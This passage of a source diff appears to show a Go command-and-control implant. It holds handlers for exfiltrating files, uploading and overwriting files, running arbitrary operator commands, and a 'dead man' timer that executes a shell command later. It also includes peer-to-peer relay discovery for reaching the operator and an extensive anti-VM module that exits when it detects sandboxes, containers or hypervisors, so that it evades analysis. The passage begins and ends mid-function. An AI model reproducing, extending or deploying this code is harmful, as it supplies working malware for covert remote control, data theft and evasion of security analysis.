fi, err := os.Stat(req.Path)
|
||||
if err != nil {
|
||||
result.Exists = false
|
||||
respData, _ := proto.Marshal(result)
|
||||
a.sendResult(transport.MsgTypeDownload, respData)
|
||||
return
|
||||
}
|
||||
const maxDownloadSize = 100 << 20 // 100MB
|
||||
if fi.Size() > maxDownloadSize {
|
||||
result.Exists = true
|
||||
result.Response = &cpb.Response{Err: 1, ErrMsg: "file too large"}
|
||||
respData, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] download %s: too large (%d bytes)", req.Path, fi.Size())
|
||||
a.sendResult(transport.MsgTypeDownload, respData)
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(req.Path)
|
||||
if err != nil {
|
||||
result.Exists = false
|
||||
} else {
|
||||
result.Exists = true
|
||||
result.Data = data
|
||||
}
|
||||
|
||||
respData, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] download %s: %d bytes", req.Path, len(data))
|
||||
a.sendResult(transport.MsgTypeDownload, respData)
|
||||
}
|
||||
|
||||
// whole file in one proto message works for the 100MB cap. For larger files,
|
||||
// swap to chunked streaming with a WriteAt loop and per-chunk acks.
|
||||
func (a *Agent) handleUpload(env *apb.Envelope) {
|
||||
req := &apb.Z24{}
|
||||
if err := proto.Unmarshal(env.Data, req); err != nil {
|
||||
a.sendError(transport.MsgTypeUpload, fmt.Sprintf("unmarshal: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
const maxUploadSize = 100 << 20
|
||||
if len(req.Data) > maxUploadSize {
|
||||
log.Printf("[implant] upload %s: too large (%d bytes)", req.Path, len(req.Data))
|
||||
result := &apb.Z25{
|
||||
Path: req.Path,
|
||||
Response: &cpb.Response{Err: 1, ErrMsg: "file too large"},
|
||||
}
|
||||
respData, _ := proto.Marshal(result)
|
||||
a.sendResult(transport.MsgTypeUpload, respData)
|
||||
return
|
||||
}
|
||||
|
||||
result := &apb.Z25{Path: req.Path}
|
||||
perm := os.FileMode(0644)
|
||||
if req.Overwrite {
|
||||
if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
|
||||
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
|
||||
} else {
|
||||
result.BytesWritten = int32(len(req.Data))
|
||||
}
|
||||
} else {
|
||||
if _, err := os.Stat(req.Path); err == nil {
|
||||
result.Response = &cpb.Response{Err: 1, ErrMsg: "file already exists"}
|
||||
} else if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
|
||||
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
|
||||
} else {
|
||||
result.BytesWritten = int32(len(req.Data))
|
||||
}
|
||||
}
|
||||
|
||||
respData, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] upload %s: %d bytes", req.Path, len(req.Data))
|
||||
a.sendResult(transport.MsgTypeUpload, respData)
|
||||
}
|
||||
|
||||
func (a *Agent) handleScreenshot(env *apb.Envelope) {
|
||||
log.Printf("[implant] screenshot requested (not implemented on this platform)")
|
||||
result := &apb.Z3{
|
||||
Response: &cpb.Response{Err: 1, ErrMsg: "screenshot not implemented on this platform"},
|
||||
}
|
||||
data, _ := proto.Marshal(result)
|
||||
a.sendResult(transport.MsgTypeScreenshot, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleCd(env *apb.Envelope) {
|
||||
req := &apb.Z19{}
|
||||
if err := proto.Unmarshal(env.Data, req); err != nil {
|
||||
a.sendError(transport.MsgTypeCd, fmt.Sprintf("unmarshal: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
result := &apb.Z21{}
|
||||
if err := os.Chdir(req.Path); err != nil {
|
||||
result.Path = req.Path
|
||||
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
|
||||
} else {
|
||||
result.Path, _ = os.Getwd()
|
||||
}
|
||||
|
||||
data, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] cd %s -> %s", req.Path, result.Path)
|
||||
a.sendResult(transport.MsgTypeCd, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handlePwd(env *apb.Envelope) {
|
||||
result := &apb.Z21{}
|
||||
result.Path, _ = os.Getwd()
|
||||
|
||||
data, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] pwd: %s", result.Path)
|
||||
a.sendResult(transport.MsgTypePwd, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleKill(env *apb.Envelope) {
|
||||
log.Printf("[implant] kill received, shutting down")
|
||||
buf := make([]byte, 4096)
|
||||
n := runtime.Stack(buf, false)
|
||||
log.Printf("[implant] kill stack:\n%s", string(buf[:n]))
|
||||
a.sendResult(transport.MsgTypeKill, nil)
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func (a *Agent) handleDeadMan(env *apb.Envelope) {
|
||||
var msg struct {
|
||||
Command string `json:"command"`
|
||||
Timeout int `json:"timeout_seconds"`
|
||||
}
|
||||
if err := json.Unmarshal(env.Data, &msg); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
a.deadManCmd = msg.Command
|
||||
a.deadManTimeout = time.Duration(msg.Timeout) * time.Second
|
||||
|
||||
if a.deadManTimer != nil {
|
||||
a.deadManTimer.Stop()
|
||||
}
|
||||
if a.deadManCmd == "" || a.deadManTimeout <= 0 {
|
||||
a.deadManTimer = nil
|
||||
return
|
||||
}
|
||||
|
||||
a.deadManTimer = time.AfterFunc(a.deadManTimeout, func() {
|
||||
var cmd *exec.Cmd
|
||||
if runtime.GOOS == "windows" {
|
||||
cmd = exec.Command("cmd.exe", "/c", a.deadManCmd)
|
||||
} else {
|
||||
cmd = exec.Command("sh", "-c", a.deadManCmd)
|
||||
}
|
||||
cmd.Run()
|
||||
})
|
||||
}
|
||||
|
||||
func (a *Agent) handleLs(env *apb.Envelope) {
|
||||
req := &apb.Z16{}
|
||||
if err := proto.Unmarshal(env.Data, req); err != nil {
|
||||
a.sendError(transport.MsgTypeLs, fmt.Sprintf("unmarshal: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
result := &apb.Z17{Path: req.Path}
|
||||
fi, err := os.Stat(req.Path)
|
||||
if err != nil {
|
||||
result.Exists = false
|
||||
} else {
|
||||
result.Exists = true
|
||||
if fi.IsDir() {
|
||||
entries, err := os.ReadDir(req.Path)
|
||||
if err != nil {
|
||||
result.Exists = false
|
||||
} else {
|
||||
for _, e := range entries {
|
||||
info, _ := e.Info()
|
||||
entry := &apb.Z18{
|
||||
Name: e.Name(),
|
||||
IsDir: e.IsDir(),
|
||||
}
|
||||
if e.Type()&os.ModeSymlink != 0 {
|
||||
link, _ := os.Readlink(filepath.Join(req.Path, e.Name()))
|
||||
entry.Link = link
|
||||
}
|
||||
if info != nil {
|
||||
entry.Size = info.Size()
|
||||
entry.ModTime = info.ModTime().Unix()
|
||||
entry.Mode = info.Mode().String()
|
||||
}
|
||||
result.Files = append(result.Files, entry)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
entry := &apb.Z18{
|
||||
Name: fi.Name(),
|
||||
IsDir: false,
|
||||
Size: fi.Size(),
|
||||
ModTime: fi.ModTime().Unix(),
|
||||
Mode: fi.Mode().String(),
|
||||
}
|
||||
if fi.Mode()&os.ModeSymlink != 0 {
|
||||
link, _ := os.Readlink(req.Path)
|
||||
entry.Link = link
|
||||
}
|
||||
result.Files = append(result.Files, entry)
|
||||
}
|
||||
}
|
||||
|
||||
data, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] ls %s: %d entries", req.Path, len(result.Files))
|
||||
a.sendResult(transport.MsgTypeLs, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleExecute(env *apb.Envelope) {
|
||||
req := &apb.Z14{}
|
||||
if err := proto.Unmarshal(env.Data, req); err != nil {
|
||||
a.sendError(transport.MsgTypeExecute, fmt.Sprintf("unmarshal: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
result := &apb.Z15{}
|
||||
if req.Output {
|
||||
cmd := exec.CommandContext(a.ctx, req.Path, req.Args...)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
var exitErr *exec.ExitError
|
||||
if errors.As(err, &exitErr) {
|
||||
result.Status = uint32(exitErr.ExitCode())
|
||||
} else {
|
||||
result.Status = 1
|
||||
}
|
||||
result.Stderr = []byte(err.Error())
|
||||
}
|
||||
result.Stdout = out
|
||||
} else {
|
||||
cmd := exec.Command(req.Path, req.Args...)
|
||||
cmd.Stdout = io.Discard
|
||||
cmd.Stderr = io.Discard
|
||||
if err := cmd.Start(); err != nil {
|
||||
var exitErr *exec.ExitError
|
||||
if errors.As(err, &exitErr) {
|
||||
result.Status = uint32(exitErr.ExitCode())
|
||||
} else {
|
||||
result.Status = 1
|
||||
}
|
||||
result.Stderr = []byte(err.Error())
|
||||
} else {
|
||||
result.Pid = uint32(cmd.Process.Pid)
|
||||
go cmd.Wait()
|
||||
}
|
||||
}
|
||||
|
||||
data, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] execute %s: exit=%d stdout=%d", req.Path, result.Status, len(result.Stdout))
|
||||
a.sendResult(transport.MsgTypeExecute, data)
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/network"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
)
|
||||
|
||||
type relayPeerInfo struct {
|
||||
peerID peer.ID
|
||||
connected bool
|
||||
lastSeen time.Time
|
||||
failCount int
|
||||
}
|
||||
|
||||
func (a *Agent) relayRendezvous() string {
|
||||
return a.node.RelayRendezvousString(a.messenger.OperatorID())
|
||||
}
|
||||
|
||||
func (a *Agent) advertiseRelayLoop(ns string) {
|
||||
defer a.wg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[implant] panic in advertiseRelayLoop: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
if !a.node.WaitForDHT(a.ctx) {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
if err := a.node.AdvertiseRelay(a.ctx, ns); err != nil {
|
||||
log.Printf("[implant] relay advertise: %v", err)
|
||||
}
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
case <-time.After(60 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) discoverRelaysLoop(ns string) {
|
||||
defer a.wg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[implant] panic in discoverRelaysLoop: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
if !a.node.WaitForDHT(a.ctx) {
|
||||
return
|
||||
}
|
||||
|
||||
opID := a.messenger.OperatorID()
|
||||
for {
|
||||
peers, err := a.node.FindRelayPeers(a.ctx, ns, 16)
|
||||
if err != nil {
|
||||
log.Printf("[implant] find relay peers: %v", err)
|
||||
goto sleep
|
||||
}
|
||||
for _, pi := range peers {
|
||||
if pi.ID == a.node.ID() || pi.ID == opID {
|
||||
continue
|
||||
}
|
||||
a.relayMu.RLock()
|
||||
existing := a.relayPeers[pi.ID]
|
||||
a.relayMu.RUnlock()
|
||||
if existing != nil && existing.connected {
|
||||
continue
|
||||
}
|
||||
connCtx, cancel := context.WithTimeout(a.ctx, 10*time.Second)
|
||||
err := a.node.ConnectToPeer(connCtx, pi)
|
||||
cancel()
|
||||
now := time.Now()
|
||||
if err != nil {
|
||||
log.Printf("[implant] relay connect %s: %v", pi.ID.String(), err)
|
||||
a.relayMu.Lock()
|
||||
if rp, ok := a.relayPeers[pi.ID]; ok {
|
||||
rp.failCount++
|
||||
rp.lastSeen = now
|
||||
} else {
|
||||
a.relayPeers[pi.ID] = &relayPeerInfo{
|
||||
peerID: pi.ID,
|
||||
connected: false,
|
||||
lastSeen: now,
|
||||
failCount: 1,
|
||||
}
|
||||
}
|
||||
a.relayMu.Unlock()
|
||||
continue
|
||||
}
|
||||
log.Printf("[implant] connected to relay peer %s", pi.ID.String())
|
||||
a.relayMu.Lock()
|
||||
a.relayPeers[pi.ID] = &relayPeerInfo{
|
||||
peerID: pi.ID,
|
||||
connected: true,
|
||||
lastSeen: now,
|
||||
}
|
||||
a.relayMu.Unlock()
|
||||
}
|
||||
|
||||
a.relayMu.Lock()
|
||||
for id, rp := range a.relayPeers {
|
||||
if rp.connected {
|
||||
cs := a.node.Host.Network().Connectedness(id)
|
||||
if cs != network.Connected && cs != network.Limited {
|
||||
rp.connected = false
|
||||
rp.failCount++
|
||||
log.Printf("[implant] relay peer %s disconnected", id.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
a.relayMu.Unlock()
|
||||
|
||||
sleep:
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
case <-time.After(30 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,226 @@
|
||||
//go:build antivm
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type vmCheck struct {
|
||||
name string
|
||||
detect func() bool
|
||||
certainty int
|
||||
}
|
||||
|
||||
// allChecks populated by init() with platform-appropriate techniques
|
||||
var allChecks []vmCheck
|
||||
|
||||
func init() {
|
||||
registerCheck("hypervisor_cpu", hypervisorCPU, 100)
|
||||
registerCheck("bochs_cpu", bochsCPU, 100)
|
||||
registerCheck("cpuid_signature", cpuidSignature, 95)
|
||||
registerCheck("cpu_brand_vm", cpuBrandVM, 95)
|
||||
registerCheck("thread_mismatch", threadMismatch, 50)
|
||||
registerCheck("thread_count", threadCount, 35)
|
||||
registerCheck("container_env", containerEnv, 30)
|
||||
registerCheck("dockerenv", dockerEnv, 30)
|
||||
registerCheck("azure_hostname", azureHostname, 30)
|
||||
|
||||
registerCheck("mac_vmware", macVMware, 20)
|
||||
registerCheck("mac_virtualbox", macVirtualBox, 20)
|
||||
registerCheck("mac_qemu", macQEMU, 20)
|
||||
registerCheck("mac_xen", macXen, 20)
|
||||
}
|
||||
|
||||
const detectionThreshold = 50
|
||||
|
||||
func registerCheck(name string, fn func() bool, certainty int) {
|
||||
allChecks = append(allChecks, vmCheck{name: name, detect: fn, certainty: certainty})
|
||||
}
|
||||
|
||||
func DetectVM() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[antivm] FATAL: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
sort.Slice(allChecks, func(i, j int) bool {
|
||||
return allChecks[i].certainty > allChecks[j].certainty
|
||||
})
|
||||
|
||||
var score int
|
||||
var hits []string
|
||||
for _, c := range allChecks {
|
||||
func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[antivm] panic in %s: %v", c.name, r)
|
||||
}
|
||||
}()
|
||||
if c.detect() {
|
||||
score += c.certainty
|
||||
hits = append(hits, fmt.Sprintf("%s(+%d)", c.name, c.certainty))
|
||||
log.Printf("[antivm] +%d%% %s (total: %d)", c.certainty, c.name, score)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if score > 100 {
|
||||
score = 100
|
||||
}
|
||||
|
||||
log.Printf("[antivm] score %d/%d (%d techniques)", score, detectionThreshold, len(hits))
|
||||
|
||||
if score >= detectionThreshold {
|
||||
log.Printf("[antivm] threshold met, exiting")
|
||||
os.Exit(0)
|
||||
}
|
||||
log.Printf("[antivm] below threshold, continuing")
|
||||
}
|
||||
|
||||
// Cross-platform checks
|
||||
|
||||
var vmwarePrefixes = []string{
|
||||
"00:50:56", "00:0c:29", "00:05:69", "00:1c:14",
|
||||
"00:3c:7d", "00:0f:4b",
|
||||
}
|
||||
|
||||
var vboxPrefixes = []string{"08:00:27"}
|
||||
var qemuPrefixes = []string{"52:54:00"}
|
||||
var xenPrefixes = []string{"00:16:3e"}
|
||||
|
||||
func macMatch(prefixes []string) bool {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, iface := range ifaces {
|
||||
mac := iface.HardwareAddr.String()
|
||||
for _, p := range prefixes {
|
||||
if strings.HasPrefix(strings.ToLower(mac), strings.ToLower(p)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func macVMware() bool { return macMatch(vmwarePrefixes) }
|
||||
func macVirtualBox() bool { return macMatch(vboxPrefixes) }
|
||||
func macQEMU() bool { return macMatch(qemuPrefixes) }
|
||||
func macXen() bool { return macMatch(xenPrefixes) }
|
||||
|
||||
func threadCount() bool {
|
||||
return runtime.NumCPU() < 2
|
||||
}
|
||||
|
||||
func threadMismatch() bool {
|
||||
n := runtime.NumCPU()
|
||||
// Most modern CPUs have >=4 threads
|
||||
return n < 4
|
||||
}
|
||||
|
||||
func containerEnv() bool {
|
||||
for _, e := range []string{"container", "DOCKER", "KUBERNETES", "LXC"} {
|
||||
if os.Getenv(e) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func dockerEnv() bool {
|
||||
if _, err := os.Stat("/.dockerenv"); err == nil {
|
||||
return true
|
||||
}
|
||||
if _, err := os.Stat("/run/.containerenv"); err == nil {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func hypervisorCPU() bool {
|
||||
if runtime.GOARCH != "amd64" {
|
||||
return false
|
||||
}
|
||||
if runtime.GOOS == "linux" {
|
||||
data, err := os.ReadFile("/proc/cpuinfo")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, line := range strings.Split(string(data), "\n") {
|
||||
if strings.Contains(line, "hypervisor") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func cpuBrandVM() bool {
|
||||
if runtime.GOARCH != "amd64" || runtime.GOOS != "linux" {
|
||||
return false
|
||||
}
|
||||
data, err := os.ReadFile("/proc/cpuinfo")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
content := string(data)
|
||||
for _, s := range []string{"QEMU", "KVM", "VirtualBox", "VMware", "Bochs",
|
||||
"KVMKVMKVM", "Microsoft Hv", "VBoxVBoxVBox",
|
||||
"VMwareVMware", "XenVMMXenVMM", "ACRNACRNACRN"} {
|
||||
if strings.Contains(content, s) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func bochsCPU() bool {
|
||||
if runtime.GOOS != "linux" {
|
||||
return false
|
||||
}
|
||||
content := readFile("/proc/cpuinfo")
|
||||
return strings.Contains(content, "Bochs") || strings.Contains(content, "bochs")
|
||||
}
|
||||
|
||||
func cpuidSignature() bool {
|
||||
if runtime.GOOS != "linux" {
|
||||
return false
|
||||
}
|
||||
content := readFile("/proc/cpuinfo")
|
||||
for _, sig := range []string{
|
||||
"KVMKVMKVM", "Microsoft Hv", "prl hyperv",
|
||||
"VBoxVBoxVBox", "VMwareVMware", "XenVMMXenVMM",
|
||||
"ACRNACRNACRN",
|
||||
} {
|
||||
if strings.Contains(content, sig) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func azureHostname() bool {
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.HasSuffix(strings.ToLower(hostname), "internal.cloudapp.net")
|
||||
}
|
||||
|
||||
func readFile(path string) string {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
//go:build antivm && darwin
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func init() {
|
||||
registerDarwinChecks()
|
||||
}
|
||||
|
||||
func registerDarwinChecks() {
|
||||
// 100%
|
||||
registerCheck("hwmodel", hwModelMac, 100)
|
||||
registerCheck("mac_iokit", macIOKit, 100)
|
||||
registerCheck("ioreg_grep", ioregGrep, 100)
|
||||
registerCheck("mac_sip", macSIP, 100)
|
||||
registerCheck("mac_sys_profiler", macSysProfiler, 100)
|
||||
|
||||
// 50%
|
||||
registerCheck("amd_sev_msr_darwin", amdSEVMSRDarwin, 50)
|
||||
|
||||
// 15%
|
||||
registerCheck("mac_memsize", macMemSize, 15)
|
||||
}
|
||||
|
||||
func runCmd(name string, args ...string) string {
|
||||
cmd := exec.Command(name, args...)
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
func hwModelMac() bool {
|
||||
model := runCmd("sysctl", "-n", "hw.model")
|
||||
return !strings.HasPrefix(strings.ToLower(model), "mac")
|
||||
}
|
||||
|
||||
func macIOKit() bool {
|
||||
out := runCmd("ioreg", "-l")
|
||||
lower := strings.ToLower(out)
|
||||
for _, s := range []string{"virtualbox", "vmware", "qemu", "kvm", "vbox", "parallel"} {
|
||||
if strings.Contains(lower, s) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func ioregGrep() bool {
|
||||
out := runCmd("ioreg", "-l")
|
||||
if out == "" {
|
||||
return false
|
||||
}
|
||||
lower := strings.ToLower(out)
|
||||
return strings.Contains(lower, "virtualbox") || strings.Contains(lower, "vmware") ||
|
||||
strings.Contains(lower, "qemu") || strings.Contains(lower, "parallels")
|
||||
}
|
||||
|
||||
func macSIP() bool {
|
||||
// Check System Integrity Protection status
|
||||
sip := runCmd("csrutil", "status")
|
||||
if strings.Contains(sip, "disabled") || strings.Contains(sip, "unknown") {
|
||||
return false
|
||||
}
|
||||
// Check if hv is present
|
||||
hv := runCmd("sysctl", "-n", "kern.hv_support")
|
||||
return hv == "1"
|
||||
}
|
||||
|
||||
func macSysProfiler() bool {
|
||||
out := runCmd("system_profiler", "SPHardwareDataType")
|
||||
lower := strings.ToLower(out)
|
||||
return strings.Contains(lower, "virtualbox") || strings.Contains(lower, "vmware") ||
|
||||
strings.Contains(lower, "qemu") || strings.Contains(lower, "parallels")
|
||||
}
|
||||
|
||||
func amdSEVMSRDarwin() bool {
|
||||
// macOS doesn't have /dev/cpu, so check via sysctl
|
||||
model := runCmd("sysctl", "-n", "machdep.cpu.brand_string")
|
||||
return strings.Contains(model, "AMD EPYC") || strings.Contains(model, "AMD Ryzen")
|
||||
}
|
||||
|
||||
func macMemSize() bool {
|
||||
// Check if memory is too low (< 2GB would be suspicious for macOS)
|
||||
out := runCmd("sysctl", "-n", "hw.memsize")
|
||||
if out == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
// Parse bytes to GB
|
||||
var bytes uint64
|
||||
for _, c := range out {
|
||||
bytes = bytes*10 + uint64(c-'0')
|
||||
}
|
||||
gb := bytes / 1024 / 1024 / 1024
|
||||
return gb < 2
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,529 @@
|
||||
//go:build antivm && linux
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func init() {
|
||||
registerLinuxChecks()
|
||||
}
|
||||
|
||||
func registerLinuxChecks() {
|
||||
// 100% certainty
|
||||
registerCheck("firmware_dmi", firmwareDMI, 100)
|
||||
|
||||
// 95% certainty
|
||||
registerCheck("devices_pci", devicesPCI, 95)
|
||||
|
||||
// 80% certainty
|
||||
registerCheck("uml_cpu", umlCPU, 80)
|
||||
registerCheck("kgt_signature", kgtSignature, 80)
|
||||
|
||||
// 75% certainty
|
||||
registerCheck("nsjail_pid", nsjailPID, 75)
|
||||
|
||||
// 70% certainty
|
||||
registerCheck("vmware_ioports", vmwareIOPorts, 70)
|
||||
registerCheck("cgroup", cgroupVM, 70)
|
||||
registerCheck("qemu_fw_cfg", qemuFWCfg, 70)
|
||||
|
||||
// 65% certainty
|
||||
registerCheck("dmi_product", dmiProduct, 65)
|
||||
registerCheck("dmi_sys_vendor", dmiSysVendor, 65)
|
||||
registerCheck("dmi_chassis_vendor", dmiChassisVendor, 65)
|
||||
registerCheck("vmware_iomem", vmwareIOMEM, 65)
|
||||
registerCheck("vmware_dmesg", vmwareDMESG, 65)
|
||||
|
||||
// 55% certainty
|
||||
registerCheck("dmidecode", dmidecodeCheck, 55)
|
||||
registerCheck("dmesg", dmesgCheck, 55)
|
||||
|
||||
// 50% certainty
|
||||
registerCheck("dmi_scan", dmiScan, 50)
|
||||
registerCheck("smbios_vm_bit", smbiosVMBit, 50)
|
||||
registerCheck("thread_mismatch_linux", threadMismatchLinux, 50)
|
||||
registerCheck("amd_sev_msr", amdSEVMSR, 50)
|
||||
|
||||
// 40% certainty
|
||||
registerCheck("vmware_scsi", vmwareSCSI, 40)
|
||||
registerCheck("qemu_virtual_dmi", qemuVirtualDMI, 40)
|
||||
registerCheck("processes_linux", processesLinux, 40)
|
||||
|
||||
// 35% certainty
|
||||
registerCheck("systemd_virt", systemdVirt, 35)
|
||||
registerCheck("hwmon", hwmonMissing, 35)
|
||||
|
||||
// 30% certainty
|
||||
registerCheck("wsl_proc", wslProc, 30)
|
||||
|
||||
// 20% certainty
|
||||
registerCheck("hypervisor_dir", hypervisorDir, 20)
|
||||
registerCheck("temperature", temperatureCheck, 20)
|
||||
registerCheck("qemu_usb", qemuUSB, 20)
|
||||
registerCheck("ctype", dmiChassisType, 20)
|
||||
|
||||
// 15% certainty
|
||||
registerCheck("vbox_module", vboxModule, 15)
|
||||
registerCheck("sysinfo_proc", sysinfoProc, 15)
|
||||
registerCheck("file_access_history", fileAccessHistory, 15)
|
||||
|
||||
// 10% certainty
|
||||
registerCheck("linux_user_host", linuxUserHost, 10)
|
||||
|
||||
// 5% certainty
|
||||
registerCheck("podman_file", podmanFile, 5)
|
||||
registerCheck("bluestacks", bluestacksFolders, 5)
|
||||
registerCheck("kmsg", kmsgCheck, 5)
|
||||
}
|
||||
|
||||
// --- Linux 100% ---
|
||||
|
||||
func firmwareDMI() bool {
|
||||
// Check all DMI entries for VM signatures
|
||||
dirs := []string{
|
||||
"/sys/class/dmi/id",
|
||||
"/sys/devices/virtual/dmi/id",
|
||||
}
|
||||
vmBrands := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek",
|
||||
"xen", "bochs", "hyper-v", "microsoft", "oracle", "oem"}
|
||||
for _, d := range dirs {
|
||||
entries, err := os.ReadDir(d)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(filepath.Join(d, e.Name()))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := strings.ToLower(string(data))
|
||||
for _, brand := range vmBrands {
|
||||
if strings.Contains(content, brand) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 95% ---
|
||||
|
||||
func devicesPCI() bool {
|
||||
entries, err := os.ReadDir("/sys/bus/pci/devices")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
// VM vendors: 8086 (Intel), 15ad (VMware), 80ee (VirtualBox),
|
||||
// 1af4 (Red Hat/QEMU), 10de (NVIDIA in passthrough)
|
||||
vmVendors := []string{"15ad", "80ee", "1af4"}
|
||||
for _, e := range entries {
|
||||
vendorFile := filepath.Join("/sys/bus/pci/devices", e.Name(), "vendor")
|
||||
data, err := os.ReadFile(vendorFile)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
vendor := strings.TrimSpace(string(data))
|
||||
for _, v := range vmVendors {
|
||||
if strings.Contains(strings.ToLower(vendor), v) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 80% ---
|
||||
|
||||
func umlCPU() bool {
|
||||
content := readFile("/proc/cpuinfo")
|
||||
return strings.Contains(content, "UML")
|
||||
}
|
||||
|
||||
func kgtSignature() bool {
|
||||
content := readFile("/proc/cpuinfo")
|
||||
return strings.Contains(content, "Intel KGT") || strings.Contains(content, "TGKIntel")
|
||||
}
|
||||
|
||||
// --- Linux 75% ---
|
||||
|
||||
func nsjailPID() bool {
|
||||
content := readFile("/proc/self/status")
|
||||
if content == "" {
|
||||
return false
|
||||
}
|
||||
// nsjail makes processes see PID 1 in the namespace
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
if strings.HasPrefix(line, "Pid:") {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) >= 2 && parts[1] == "1" {
|
||||
// Check if nsjail env vars are present
|
||||
if os.Getenv("NSJAIL") != "" {
|
||||
return true
|
||||
}
|
||||
// Check cgroup for nsjail
|
||||
cg := readFile("/proc/self/cgroup")
|
||||
return strings.Contains(cg, "nsjail")
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 70% ---
|
||||
|
||||
func vmwareIOPorts() bool {
|
||||
return strings.Contains(readFile("/proc/ioports"), "VMware")
|
||||
}
|
||||
|
||||
func cgroupVM() bool {
|
||||
content := readFile("/proc/1/cgroup")
|
||||
if content == "" {
|
||||
return false
|
||||
}
|
||||
for _, s := range []string{"docker", "lxc", "kubepods"} {
|
||||
if strings.Contains(content, s) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func qemuFWCfg() bool {
|
||||
if _, err := os.Stat("/sys/firmware/qemu_fw_cfg"); err == nil {
|
||||
return true
|
||||
}
|
||||
if _, err := os.Stat("/proc/device-tree/fw-cfg"); err == nil {
|
||||
